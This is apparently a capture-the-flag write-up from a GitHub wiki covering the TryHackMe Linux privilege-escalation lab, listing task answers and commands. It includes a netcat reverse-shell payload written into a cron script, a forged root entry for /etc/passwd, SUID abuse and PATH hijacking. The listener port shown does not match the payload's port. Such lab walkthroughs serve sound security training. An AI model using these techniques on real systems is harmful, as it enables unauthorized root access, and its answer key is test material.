THM Common Linux Privesc - grunt92/IT-Sec-WriteUps GitHub Wiki
No answer needed
No answer needed
No answer needed
First, lets SSH into the target machine, using the credentials user3:password. This is to simulate getting a foothold on the system as a normal privilege user.
Use ssh user3@IP
and enter the password when prompted to connect to the machine.
No answer needed
Run uname -n
on the machine and you get the information.
polobox
Run cat /etc/passwd
to get the information.
8
Run cat /etc/shells
to get the information.
4
Run cat /etc/crontab
to get the information
autoscript.sh
You can run ls -l
in the "/etc"-directory to see the permissions on the individual files and directories. By doing so you can see that the "passwd"-file has a writing permission for the current user.
/etc/passwd
No answer needed
/home/user3/shell
We know that "shell" is an SUID bit file, therefore running it will run the script as a root user! Lets run it!
We can do this by running: "./shell"
No answer needed
No answer needed
First, let's exit out of root from our previous task by typing "exit". Then use "su" to swap to user7, with the password "password"
Run su user7
and enter the password when prompted.
No answer needed
vertical
Before we add our new user, we first need to create a compliant password hash to add! We do this by using the command: "openssl passwd -1 -salt [salt] [password]"
What is the hash created by using this command with the salt, "new" and the password "123"?
While being logged in as user3 run openssl passwd -1 -salt new 123
.
$1$new$p7ptkEKU1HnaHpRtzNizS1
Great! Now we need to take this value, and create a new root user account. What would the /etc/passwd entry look like for a root user with the username "new" and the password hash we created before?
new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash
Switch to user7, run nano /etc/passwd
and append the entry.
No answer needed
Now, use "su" to login as the "new" account, and then enter the password. If you've done everything correctly- you should be greeted by a root prompt! Congratulations!
Run su new
.
No answer needed
First, let's exit out of root from our previous task by typing "exit". Then use "su" to swap to user8, with the password "password"
No answer needed
NOPASSWD
No answer needed
No answer needed
First, let's exit out of root from our previous task by typing "exit". Then use "su" to swap to user4, with the password "password"
No answer needed
No answer needed
-p
No answer needed
Run cat /etc/crontab
.
/home/user4/Desktop
Lets replace the contents of the file with our payload using: "echo [MSFVENOM OUTPUT] > autoscript.sh"
Make sure that you are user4 and run `echo "mkfifo /tmp/etojjmo; nc 10.9.3.11 4444 0</tmp/etojjmo | /bin/sh >/tmp/etojjmo 2>&1; rm /tmp/etojjmo" > /home/user4/Desktop/autoscript.sh.
No answer needed
After copying the code into autoscript.sh file we wait for cron to execute the file, and start our netcat listener using: "nc -lvnp 8888" and wait for our shell to land!
No answer needed
After about 5 minutes, you should have a shell as root land in your netcat listening session! Congratulations!
No answer needed
Going back to our local ssh session, not the netcat root session, you can close that now, let's exit out of root from our previous task by typing "exit". Then use "su" to swap to user5, with the password "password"
No answer needed
Let's go to user5's home directory, and run the file "script". What command do we think that it's executing?
ls
No answer needed
Now we're inside tmp, let's create an imitation executable. The format for what we want to do is:
echo "[whatever command we want to run]" > [name of the executable we're imitating]
What would the command look like to open a bash shell, writing to a file with the name of the executable we're imitating
echo "/bin/bash">>ls
Great! Now we've made our imitation, we need to make it an executable. What command do we execute to do this?
chmod +x ls
Now, we need to change the PATH variable, so that it points to the directory where we have our imitation "ls" stored! We do this using the command "export PATH=/tmp:$PATH"
Note, this will cause you to open a bash prompt every time you use "ls". If you need to use "ls" before you finish the exploit, use "/bin/ls" where the real "ls" executable is.
Once you've finished the exploit, you can exit out of root and use "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:$PATH" to reset the PATH variable back to default, letting you use "ls" again!
No answer needed
Run cd /home/user5
No answer needed
Run ./script
to gain the shell.
No answer needed
No answer needed